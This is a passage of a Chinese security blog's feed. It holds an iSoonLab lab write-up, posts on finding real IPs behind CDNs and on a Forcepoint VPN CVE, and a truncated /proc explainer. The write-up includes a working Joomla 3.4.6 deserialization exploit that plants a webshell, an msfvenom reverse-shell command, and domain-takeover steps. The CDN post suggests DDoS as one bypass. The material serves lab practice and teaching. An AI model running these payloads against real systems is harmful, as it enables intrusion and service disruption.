alt="image-20191201003644193"></p><p>joomla-3.4.6版本,存在RCE,通过构造exp,拿到webshell</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">JSimplepieFactory</span></span>{</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">JDatabaseDriverMysql</span></span>{</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">JDatabaseDriverMysqli</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">protected</span> $xx;</span><br><span class="line"> <span class="keyword">protected</span> $connection;</span><br><span class="line"> <span class="keyword">protected</span> $disconnectHandlers;</span><br><span class="line"> <span class="keyword">protected</span> $obj;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">$this</span>->xx = <span class="keyword">new</span> JSimplepieFactory();</span><br><span class="line"> <span class="keyword">$this</span>->connection = <span class="number">1</span>;</span><br><span class="line"> $obj = <span class="keyword">new</span> SimplePie;</span><br><span class="line"> <span class="keyword">$this</span>->disconnectHandlers = [</span><br><span class="line"> [$obj, <span class="string">"init"</span>],</span><br><span class="line"> ];</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SimplePie</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">var</span> $sanitize;</span><br><span class="line"> <span class="keyword">var</span> $cache_name_function;</span><br><span class="line"> <span class="keyword">var</span> $feed_url;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">$this</span>->feed_url = <span class="string">"system('echo \'ZWNobyAiPD9waHAgZXZhbChcJF9QT1NUW2FdKT8+IiA+IC9ob21lL3d3d3Jvb3QvZGVmYXVsdC8xLnBocA==\'| base64 -d | bash');JFactory::getConfig();exit;"</span>;</span><br><span class="line"> <span class="keyword">$this</span>->cache_name_function = <span class="string">"assert"</span>;</span><br><span class="line"> <span class="keyword">$this</span>->sanitize = <span class="keyword">new</span> JDatabaseDriverMysql();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$a = <span class="keyword">new</span> JDatabaseDriverMysqli();</span><br><span class="line">$ser = serialize($a);</span><br><span class="line"><span class="keyword">echo</span> $data = str_replace(chr(<span class="number">0</span>) . <span class="string">'*'</span> . chr(<span class="number">0</span>), <span class="string">'\0\0\0'</span>, $ser);</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">用户名:</span><br><span class="line">\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span></span><br><span class="line"></span><br><span class="line">密码:</span><br><span class="line">MYP<span class="string">";s:2:"</span>HS<span class="string">";O:21:"</span>JDatabaseDriverMysqli<span class="string">":4:{s:5:"</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>xx<span class="string">";O:17:"</span>JSimplepieFactory<span class="string">":0:{}s:13:"</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>connection<span class="string">";i:1;s:21:"</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>disconnectHandlers<span class="string">";a:1:{i:0;a:2:{i:0;O:9:"</span>SimplePie<span class="string">":3:{s:8:"</span>sanitize<span class="string">";O:20:"</span>JDatabaseDriverMysql<span class="string">":0:{}s:19:"</span>cache_name_function<span class="string">";s:6:"</span>assert<span class="string">";s:8:"</span>feed_url<span class="string">";s:149:"</span>system(<span class="string">'echo \'ZWNobyAiPD9waHAgZXZhbChcJF9QT1NUW2FdKT8+IiA+IC9ob21lL3d3d3Jvb3QvZGVmYXVsdC8xLnBocA==\'| base64 -d | bash'</span>);JFactory::getConfig();<span class="keyword">exit</span>;<span class="string">";}i:1;s:4:"</span>init<span class="string">";}}s:6:"</span>\<span class="number">0</span>\<span class="number">0</span>\<span class="number">0</span>obj<span class="string">";N;}</span></span><br></pre></td></tr></table></figure><p>antsword连接后,在/tmp目录上传我们生成的msf木马</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.21.12 LPORT=6666 -f elf > shell2.elf</span><br></pre></td></tr></table></figure><p><img src="/iSoonLab.org Write-up/image-20191201004320825.png" alt="image-20191201004320825"></p><p>拿到shell后,查看uname</p><p><img src="/iSoonLab.org Write-up/image-20191201004824374.png" alt="image-20191201004824374"></p><p>内核版本比较低的桌面版本,存在CVE-2019-13272</p><p>EXP需要满足三个条件: </p><ol><li>内核版本 < 5.1.17 且为桌面版</li><li>存在/home/\<user></user></li><li>交互式shell</li></ol><p><img src="/iSoonLab.org Write-up/image-20191201005023629.png" alt="image-20191201005023629"></p><p>成功拿到第二个flag</p><h2 id="Backup-sub-iSoonLab-org"><a href="#Backup-sub-iSoonLab-org" class="headerlink" title="Backup.sub.iSoonLab.org"></a>Backup.sub.iSoonLab.org</h2><p>回过来看web界面的提示</p><p><img src="/iSoonLab.org Write-up/image-20191201005203360.png" alt="image-20191201005203360"></p><p>放出了下一步的hint,查看已经安装的软件和python第三方库</p><p><img src="/iSoonLab.org Write-up/image-20191201005355412.png" alt="image-20191201005355412"></p><p>三条思路:</p><ol><li><p>利用impacket和arpspoof进行中间人攻击</p></li><li><p>在本机上进行信息搜集,寻找到域成员机器的路子</p></li><li>系统漏洞 -> ms17010 .etc </li></ol><ol><li><p>中间人攻击使用ms15-014 和 ms15-011 进行组策略劫持,拿下域成员机器</p></li><li><p>翻机器的日志</p></li><li>有day上day~ </li></ol><p>### </p><p>简单方法:</p><p>通过<code>.bash_history</code>拿到mount命令,存有明文密码, 通过<code>exploit/windows/smb/psexec</code>即可拿到目标机器NT/SYSTEM</p><p><img src="/iSoonLab.org Write-up/image-20191201013130568.png" alt="image-20191201013130568"></p><p>中间人测试也是可行的,使用MS15-011劫持组策略,只是需要等待组策略生效 (默认90分钟)</p><p><懒狗不想截图了></p><h2 id="subdc-iSoonLab-org"><a href="#subdc-iSoonLab-org" class="headerlink" title="subdc.iSoonLab.org"></a>subdc.iSoonLab.org</h2><p>在backup机子上的C:\Backup翻到了注册表的存档</p><p><img src="/iSoonLab.org Write-up/image-20191201014315000.png" alt="image-20191201014315000"></p><p>下载下来使用secretsdump进行dump</p><p><img src="/iSoonLab.org Write-up/image-20191201014547133.png" alt="image-20191201014547133"></p><p>拿到服务账户后,用来构造白银票据,攻击subdc.sub.iSoonLab.org<br>(MS14068也可)</p><p><img src="/iSoonLab.org Write-up/image-20191201015913467.png" alt="image-20191201015913467"></p><p>(注意必须关闭Linux2中的arpspoof)</p><p><img src="/iSoonLab.org Write-up/image-20191201020209077.png" alt="image-20191201020209077"></p><p>第四个flag到手~~</p><h2 id="DC-iSoonLab-org"><a href="#DC-iSoonLab-org" class="headerlink" title="DC.iSoonLab.org"></a>DC.iSoonLab.org</h2><p>最后就很简单啦,子父域中常见的双向信任,我们可以通过构造信任票据来进行攻击</p><p>利用信任票据 </p><p><a href="http://www.harmj0y.net/blog/redteaming/the-trustpocalypse/" target="_blank" rel="noopener">http://www.harmj0y.net/blog/redteaming/the-trustpocalypse/</a> </p><p>这里有一点小问题: 当指定krbtgt账户时,因为子父域中存在两个krbtgt账户,DCsync转储时可能爆<code>NOT_UNIQUE</code>,可以使用/all解决 </p><p>利用dcsync 转储子域的所有hash </p><p><img src="/iSoonLab.org Write-up/4624EF12-0825-4134-BFFE-AF47CF9CA4FB.png" alt="4624EF12-0825-4134-BFFE-AF47CF9CA4FB"></p><p><img src="/iSoonLab.org Write-up/04C766D7-B915-48FE-A381-3CA4DD18727D.png" alt="04C766D7-B915-48FE-A381-3CA4DD18727D"></p><p>使用/Ptt 进行信任票据传递即可</p><p><img src="/iSoonLab.org Write-up/2A7C786C-5AA4-4AE2-8DE1-755DBFDE9382.png" alt="2A7C786C-5AA4-4AE2-8DE1-755DBFDE9382"></p><p>拿到域控权限,flag在C:\Users\Administraotr\flag.txt中</p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2019-12-12 14:32:22<br><img src="/wallpaper/[30125]16347313.jpg" alt></p>
</blockquote>
<h2 id="
</summary>
<category term="Write-up" scheme="http://patrilic.top/categories/Write-up/"/>
<category term="iSoonLab.org" scheme="http://patrilic.top/tags/iSoonLab-org/"/>
</entry>
<entry>
<title>Bypass CDN 寻找真实IP</title>
<link href="http://patrilic.top/2019/10/09/Bypass%20CDN%20%E5%AF%BB%E6%89%BE%E7%9C%9F%E5%AE%9EIP_1/"/>
<id>http://patrilic.top/2019/10/09/Bypass CDN 寻找真实IP_1/</id>
<published>2019-10-09T05:12:49.000Z</published>
<updated>2019-10-31T15:51:16.775Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2019-10-09 13:12:49<br><img src="/wallpaper/futuristic.jpeg" alt></p></blockquote><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>个人觉得,绕过CDN去寻找主机的真实ip,更容易能寻找到企业网络的薄弱地带,所以Bypass CDN也就变成了至关重要的一点</p><h2 id="0x01-常见Bypass方法"><a href="#0x01-常见Bypass方法" class="headerlink" title="0x01 常见Bypass方法"></a>0x01 常见Bypass方法</h2><h3 id="子域名搜集"><a href="#子域名搜集" class="headerlink" title="子域名搜集"></a>子域名搜集</h3><p>由于成本问题,可能某些厂商并不会将所有的子域名都部署CDN,所以如果我们能尽量的搜集子域名,或许可以找到一些没有部署CDN的子域名,拿到某些服务器的真实ip/段</p><p>然后关于子域名搜集的方式很多,就不一一介绍了,我平时主要是从这几个方面搜集子域名:</p><ol><li>SSL证书</li><li>爆破</li><li>Google Hacking</li><li>同邮箱注册人</li><li>DNS 域传送</li><li>页面JS搜集</li><li>网络空间引擎</li></ol><p>工具也有很多厉害的,平时我一般使用 OneForALL + ESD + JSfinder 来进行搜集</p><p>(ESD可以加载layer的字典,很好用)</p><h3 id="查询DNS历史解析记录"><a href="#查询DNS历史解析记录" class="headerlink" title="查询DNS历史解析记录"></a>查询DNS历史解析记录</h3><p>常常服务器在解析到CDN服务前,会解析真实ip,如果历史未删除,就可能找到<br><img src="/Bypass CDN 寻找真实IP.resources/9E7A020F-400D-4098-95A0-890D6ECF58B5.png" alt="aa49a0dae035183756bc9b7c574f7d1d"><br>常用网站:<br><a href="http://viewdns.info/" target="_blank" rel="noopener">http://viewdns.info/</a><br><a href="https://x.threatbook.cn/" target="_blank" rel="noopener">https://x.threatbook.cn/</a><br><a href="http://www.17ce.com/" target="_blank" rel="noopener">http://www.17ce.com/</a><br><a href="https://dnsdb.io/zh-cn/" target="_blank" rel="noopener">https://dnsdb.io/zh-cn/</a><br><a href="https://securitytrails.com/" target="_blank" rel="noopener">https://securitytrails.com/</a><br><a href="http://www.ip138.com/" target="_blank" rel="noopener">http://www.ip138.com/</a><br><a href="https://github.com/vincentcox/bypass-firewalls-by-DNS-history" target="_blank" rel="noopener">https://github.com/vincentcox/bypass-firewalls-by-DNS-history</a></p><h3 id="MX记录(邮件探测)"><a href="#MX记录(邮件探测)" class="headerlink" title="MX记录(邮件探测)"></a>MX记录(邮件探测)</h3><p>这个很简单,如果目标系统有发件功能,通常在注册用户/找回密码等地方<img src="/Bypass CDN 寻找真实IP.resources/30801098-D5BB-4C46-83CB-DF4313C5D54E.png" alt="8aa01bd3ebc5fea8c50bfcf182df44d7"></p><h3 id="SSL证书探测"><a href="#SSL证书探测" class="headerlink" title="SSL证书探测"></a>SSL证书探测</h3><p>我们可以利用空间引擎进行SSL证书探测</p><blockquote><p>443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:<a href="http://www.baidu.com" target="_blank" rel="noopener">www.baidu.com</a></p></blockquote><p><img src="/Bypass CDN 寻找真实IP.resources/FA2E7635-76E4-43A3-B724-C782E3C08304.png" alt="cbd4dfce974be17192c5d3991bcb9ceb"><br>443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:<a href="http://www.baidu.com" target="_blank" rel="noopener">www.baidu.com</a></p><p>再放一个搜集证书的网站<a href="https://crt.sh/" target="_blank" rel="noopener">https://crt.sh</a></p><p>一个小脚本,可以快速搜集证书</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># @Time : 2019-10-08 22:51</span></span><br><span class="line"><span class="comment"># @Author : Patrilic</span></span><br><span class="line"><span class="comment"># @FileName: SSL_subdomain.py</span></span><br><span class="line"><span class="comment"># @Software: PyCharm</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line">TIME_OUT = <span class="number">60</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_SSL</span><span class="params">(domain)</span>:</span></span><br><span class="line"> domains = []</span><br><span class="line"> url = <span class="string">'https://crt.sh/?q=%25.{}'</span>.format(domain)</span><br><span class="line"> response = requests.get(url,timeout=TIME_OUT)</span><br><span class="line"> <span class="comment"># print(response.text)</span></span><br><span class="line"> ssl = re.findall(<span class="string">"<TD>(.*?).{}</TD>"</span>.format(domain),response.text)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> ssl:</span><br><span class="line"> i += <span class="string">'.'</span> + domain</span><br><span class="line"> domains.append(i)</span><br><span class="line"> print(domains)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> get_SSL(<span class="string">"baidu.com"</span>)</span><br></pre></td></tr></table></figure><p>还有一种方式,就是搜集SSL证书Hash,然后遍历ip去查询证书hash,如果匹配到相同的,证明这个ip就是那个 域名同根证书的服务器真实ip</p><p>简单来说,就是遍历0.0.0.0/0:443,通过ip连接https时,会显示证书</p><p>当然,也可以用censys等引擎<br><img src="/Bypass CDN 寻找真实IP.resources/82C66A85-0718-4D35-BF78-4BC6F8D66137.png" alt="88c410f42542b4d8b7387ca70ca55e68"></p><h3 id="偏远地区服务器访问"><a href="#偏远地区服务器访问" class="headerlink" title="偏远地区服务器访问"></a>偏远地区服务器访问</h3><p>在偏远地区的服务器访问时,可能不会访问到CDN节点,而是直接访问服务器真实ip</p><p>所以我们可以搞一个偏远地区的代理池,来访问目标域名,有概率就可以拿到真实ip</p><p>也就是平常说的多地Ping<br><img src="/Bypass CDN 寻找真实IP.resources/B6C9E83C-9951-4397-9929-995ABDA0F31A.png" alt="766172367254161b3f5a2d0e44e0174d"></p><h3 id="favicon-hash匹配"><a href="#favicon-hash匹配" class="headerlink" title="favicon_hash匹配"></a>favicon_hash匹配</h3><p>利用shodan的<strong>http.favicon.hash</strong>语法,来匹配icon的hash值</p><p>直接推<a href="https://github.com/Ridter/get_ip_by_ico/blob/master/get_ip_by_ico.py" target="_blank" rel="noopener">https://github.com/Ridter/get_ip_by_ico/blob/master/get_ip_by_ico.py</a></p><p><a name="iWsmO"></a></p><h3 id="CloudFlare-Bypass"><a href="#CloudFlare-Bypass" class="headerlink" title="CloudFlare Bypass"></a>CloudFlare Bypass</h3><p>免费版的cf,我们可以通过DDOS来消耗对方的流量,只需要把流量打光,就会回滚到原始ip</p><p>还有利用cloudflare的改host返回示例:<br><a href="https://blog.detectify.com/2019/07/31/bypassing-cloudflare-waf-with-the-origin-server-ip-address/" target="_blank" rel="noopener">https://blog.detectify.com/2019/07/31/bypassing-cloudflare-waf-with-the-origin-server-ip-address/</a><br>里面给了详细的介绍,我们可以通过HOST来判断是否是真实ip<br>具体看文章即可</p><p><a name="gmuNS"></a></p><h3 id="奇特的ping"><a href="#奇特的ping" class="headerlink" title="奇特的ping"></a>奇特的ping</h3><p>比如可能有些地方,使用的CDN都是以<a href="http://www.xxx.edu.cn,例如www.cuit.edu.cn,www.jwc.cuit.edu.cn" target="_blank" rel="noopener">www.xxx.edu.cn,例如www.cuit.edu.cn,www.jwc.cuit.edu.cn</a></p><p>可能去掉前缀的www,就可能绕过CDN了,猜测应该是类似于Apache VirtualHost</p><p>可参考<a href="https://httpd.apache.org/docs/2.4/en/vhosts/examples.html" target="_blank" rel="noopener">https://httpd.apache.org/docs/2.4/en/vhosts/examples.html</a></p><p>例如:<br><img src="/Bypass CDN 寻找真实IP.resources/D368AA5E-A66E-46A8-9E96-7B439AB7E059.png" alt="94f6e57f5f9c038766a278c76f46ce30"></p><p>我这里其实是ping了<a href="http://www.xxx.gov.cn和xxx.gov.cn" target="_blank" rel="noopener">www.xxx.gov.cn和xxx.gov.cn</a></p><p>这样就可以绕过CDN的检测</p><p><a name="kroXV"></a></p><h3 id="利用老域名"><a href="#利用老域名" class="headerlink" title="利用老域名"></a>利用老域名</h3><p>在换新域名时,常常将CDN部署到新的域名上,而老域名由于没过期,可能未使用CDN,然后就可以直接获取服务器真实ip。</p><p>例如patrilic.top > patrilic.com<br>域名更新时,可能老域名同时解析到真实服务器,但是没有部署CDN</p><p>这个可以通过搜集域名备案的邮箱去反查,可能会有意外收获</p><h3 id="暴力匹配"><a href="#暴力匹配" class="headerlink" title="暴力匹配"></a>暴力匹配</h3><p>找到目标服务器IP段后,可以直接进行暴力匹配 ,使用masscan扫描HTTP banner,然后匹配到目标域名的相同banner</p><h3 id="DDos-社工CDN平台等"><a href="#DDos-社工CDN平台等" class="headerlink" title="DDos/社工CDN平台等"></a>DDos/社工CDN平台等</h3><h2 id="0x02-其他方法"><a href="#0x02-其他方法" class="headerlink" title="0x02 其他方法"></a>0x02 其他方法</h2><h3 id="phpinfo"><a href="#phpinfo" class="headerlink" title="phpinfo"></a>phpinfo</h3><p><img src="/Bypass CDN 寻找真实IP.resources/6CC86789-CDCC-47CA-9940-744FBC32274E.png" alt="cd01f0e2811d6b9828927bfe6c57f8b3"></p><h3 id="ssrf,文件上传等漏洞"><a href="#ssrf,文件上传等漏洞" class="headerlink" title="ssrf,文件上传等漏洞"></a>ssrf,文件上传等漏洞</h3><p>略..</p><p><a name="gEBoP"></a></p><h2 id="0x03-参考链接🔗"><a href="#0x03-参考链接🔗" class="headerlink" title="0x03 参考链接🔗"></a>0x03 参考链接🔗</h2><p><a href="https://github.com/shmilylty/OneForAll" target="_blank" rel="noopener">https://github.com/shmilylty/OneForAll</a><br><a href="https://github.com/FeeiCN/ESD" target="_blank" rel="noopener">https://github.com/FeeiCN/ESD</a><br><a href="https://github.com/Threezh1/JSFinder" target="_blank" rel="noopener">https://github.com/Threezh1/JSFinder</a><br><a href="https://github.com/AI0TSec/blog/issues/8" target="_blank" rel="noopener">https://github.com/AI0TSec/blog/issues/8</a><br><a href="https://www.4hou.com/tools/8251.html" target="_blank" rel="noopener">https://www.4hou.com/tools/8251.html</a><br><a href="https://www.freebuf.com/sectool/112583.html" target="_blank" rel="noopener">https://www.freebuf.com/sectool/112583.html</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2019-10-09 13:12:49<br><img src="/wallpaper/futuristic.jpeg" alt></p>
</blockquote>
<h2 id="0x00
</summary>
<category term="Pentest Cheat Sheet" scheme="http://patrilic.top/categories/Pentest-Cheat-Sheet/"/>
<category term="Bypass CDN" scheme="http://patrilic.top/tags/Bypass-CDN/"/>
</entry>
<entry>
<title>CVE-2019-6145 Forcepoint VPN</title>
<link href="http://patrilic.top/2019/09/27/CVE-2019-6145%20%20Forcepoint%20VPN/"/>
<id>http://patrilic.top/2019/09/27/CVE-2019-6145 Forcepoint VPN/</id>
<published>2019-09-26T16:03:55.000Z</published>
<updated>2019-09-27T06:52:31.916Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2019-09-27 0:03:55<br><img src="/wallpaper/anime.jpg" alt></p></blockquote><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>群里师傅传了一篇漏洞详情,如下:<br><a href="https://www.4hou.com/vulnerable/20515.html" target="_blank" rel="noopener">https://www.4hou.com/vulnerable/20515.html</a></p><p>其中翻到这个的时候:<br><img src="/CVE-2019-6145 Forcepoint VPN.resources/68BEF323-598F-4DF8-80DB-1D6793F8D6B7.png" alt="a80184c994256c62b68309752428a068"></p><p>这不就是白加黑么..还能自启,岂不美哉~</p><h2 id="0x01-漏洞复现"><a href="#0x01-漏洞复现" class="headerlink" title="0x01 漏洞复现"></a>0x01 漏洞复现</h2><h3 id="影响版本"><a href="#影响版本" class="headerlink" title="影响版本"></a>影响版本</h3><blockquote><p>Forcepoint VPN Windows Client < 6.6.1</p></blockquote><h3 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h3><p><img src="/CVE-2019-6145 Forcepoint VPN.resources/0F0DCA0F-6513-4706-99ED-496E97F42D6E.png" alt="b565f7eb7008dae50e9cffef5140d7b0"><br><img src="/CVE-2019-6145 Forcepoint VPN.resources/ED60C5CC-3A68-4AD1-8D96-591E1BC1ADBE.png" alt="240c6b110481cf8ad45fadf90f90bd38"></p><p>安装的时候会调用<code>msiexec.exe</code>,使用驱动加载<code>NT/SYSTEM</code></p><p>然后保证自启动,所以只要我们能摸到路径就能持久控制</p><p>打开程序,我们发现他会去查询一些不存在的目录和程序<br><img src="/CVE-2019-6145 Forcepoint VPN.resources/A0273E78-14DF-4D99-9191-69B446967C1A.png" alt="9cb5f6b66d8398fa197331f3ac360091"></p><p><img src="/CVE-2019-6145 Forcepoint VPN.resources/02015B80-4E63-4E3F-9636-B2D3B7BC126A.png" alt="e556b1bc632f8bc055b6631bab814364"><br><img src="/CVE-2019-6145 Forcepoint VPN.resources/0900E779-7DB6-4822-B27D-D62C34A17472.png" alt="8c750183f70b3a62663bdfcf5d0b7be2"></p><h2 id="0x02-漏洞原理"><a href="#0x02-漏洞原理" class="headerlink" title="0x02 漏洞原理"></a>0x02 漏洞原理</h2><p>看这个就好了<br><a href="https://www.4hou.com/vulnerable/20515.html" target="_blank" rel="noopener">https://www.4hou.com/vulnerable/20515.html</a></p><p>暴风哭泣,不会</p><p>(我是一个没有感情的复现机器)</p><h2 id="0x03-免杀"><a href="#0x03-免杀" class="headerlink" title="0x03 免杀"></a>0x03 免杀</h2><p><img src="/CVE-2019-6145 Forcepoint VPN.resources/44A7E077-1986-4B16-A52D-1287E84C837A.png" alt="c722b31e90a0fd3ac2ff973fe6445c7a"></p><p><img src="/CVE-2019-6145 Forcepoint VPN.resources/6DB73CBB-5076-49AE-A1A7-613CF68C0F8A.png" alt="aee18db9dbe77ac4edcca72af7e3d1b9"></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2019-09-27 0:03:55<br><img src="/wallpaper/anime.jpg" alt></p>
</blockquote>
<h2 id="0x00-前言"><a
</summary>
<category term="漏洞复现" scheme="http://patrilic.top/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
<category term="Forcepoint VPN" scheme="http://patrilic.top/tags/Forcepoint-VPN/"/>
</entry>
<entry>
<title>浅谈 Linux系统 proc</title>
<link href="http://patrilic.top/2019/09/11/%E6%B5%85%E8%B0%88%20Linux%E7%B3%BB%E7%BB%9F%20Proc/"/>
<id>http://patrilic.top/2019/09/11/浅谈 Linux系统 Proc/</id>
<published>2019-09-10T16:44:23.000Z</published>
<updated>2019-09-10T16:59:01.747Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2019-9-11 0:44:23<br><img src="/wallpaper/thumb-1920-608362.jpg" alt></p></blockquote><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>我们经常在CTF比赛里,或者实际渗透里,使用到<code>/proc</code>这个目录,比如常常利用<code>/proc/self/cwd</code>来访问进程中的文件,使用<code>/proc/self/environ</code>读取系统的环境变量等</p><h2 id="0x01-Proc-到底是个什么东西"><a href="#0x01-Proc-到底是个什么东西" class="headerlink" title="0x01 Proc 到底是个什么东西"></a>0x01 Proc 到底是个什么东西</h2><p>实际上我们在任何的GUN/Linux操作系统里,都能找到这个目录,并且里面存在大量目录<br><img src="/浅谈 Linux系统 Proc.resources/70DE7AC6-D2C4-42A8-8A78-3F631B6515A6.png" alt="f48d8c5a7f26e7be272c7c36a0224e65"><br>但是如果,我们使用 <code>ls -al</code>来查看<br><img src="/浅谈 Linux系统 Proc.resources/F0A39E32-2167-47D3-B6B7-C76BD67C7F3D.png" alt="e39161263565785f4d27eea36ccec527"></p><p>可以看到绝大部分文件大小为0</p><p>但是我们可以使用cat命令获取其中的大量信息<br><img src="/浅谈 Linux系统 Proc.resources/C6AC528D-6694-4F8C-A7D8-DD139C74A308.png" alt="cc6935b581357039fa948356e6cc9ea9"></p><p>为什么0字节还能存有内容呢</p><p>这里提到一个概念:文件系统<br>维基百科-><a href="https://zh.wikipedia.org/zh-hans/%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F" target="_blank" rel="noopener">https://zh.wikipedia.org/wiki/Procfs</a></p><p>而proc在Unix里常常被称为procfs -> proc file system<br>它包含一个伪文件系统(启动时动态生成的文件系统),用于通过内核访问进程信息。这个文件系统通常被挂载到 /proc 目录。由于 /proc 不是一个真正的文件系统,它也就不占用存储空间,只是占用有限的内存。</p><p>维基百科-><a href="https://zh.wikipedia.org/wiki/Procfs" target="_blank" rel="noopener">https://zh.wikipedia.org/wiki/Procfs</a></p><p>所以说,其实/proc目录更多的是起到一个类似于接口的作用,当我们使用cat命令获取时,它会从内存中获取信息,来返回给用户,而目录中的数字,其实就是PID号。</p><ul><li>/proc/$PID/cmdline 启动进程时执行的命令 </li><li>/proc/$PID/environ 该文件保存进程的环境变量 </li><li>/proc/$PID/cwd 一个符号连接, 指向进程当前的工作目录 </li><li>/proc/$PID/exe 一个符号连接, 指向被执行的二进制代码 </li><li>/proc/$PID/fd 进程所打开的每个文件都有一个符号连接在该子目录里, 以文件描述符命名, 这个名字实际上是指向真正的文件的符号连接 </li><li>/proc/$PID/attr 进程的属性 </li></ul><h2 id="0x02-proc-self"><a href="#0x02-proc-self" class="headerlink" title="0x02 /proc/self"></a>0x02 /proc/self</h2><p>相对于进程PID,我们在实战的文件读取中,更多使用的是<code>/proc/self</code>目录。<br>在<code>stackexchange</code>有一个讨论,<br><a href="https://unix.stackexchange.com/questions/333225/which-process-is-proc-self-for" target="_blank" rel="noopener">https://unix.stackexchange.com/questions/333225/which-process-is-proc-self-for</a></p><p>也就是说,其实<code>/proc/self</code> 是指向当前进程的内存</p><p>比如之前护网杯2019的一道利用 MySQL LOAD DATA特性读取文件,让php远程连接到我们的客户端,然后发送命令,由于在远程服务器是使用apache进程来连接,所以我们可以读取到<code>/proc/self/cwd/index.php</code><br><img src="/浅谈 Linux系统 Proc.resources/0627C538-2DED-428D-9E06-F30859D58EE8.png" alt="c6ca5efffe4e45310d735cfbe4e70b8e"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span 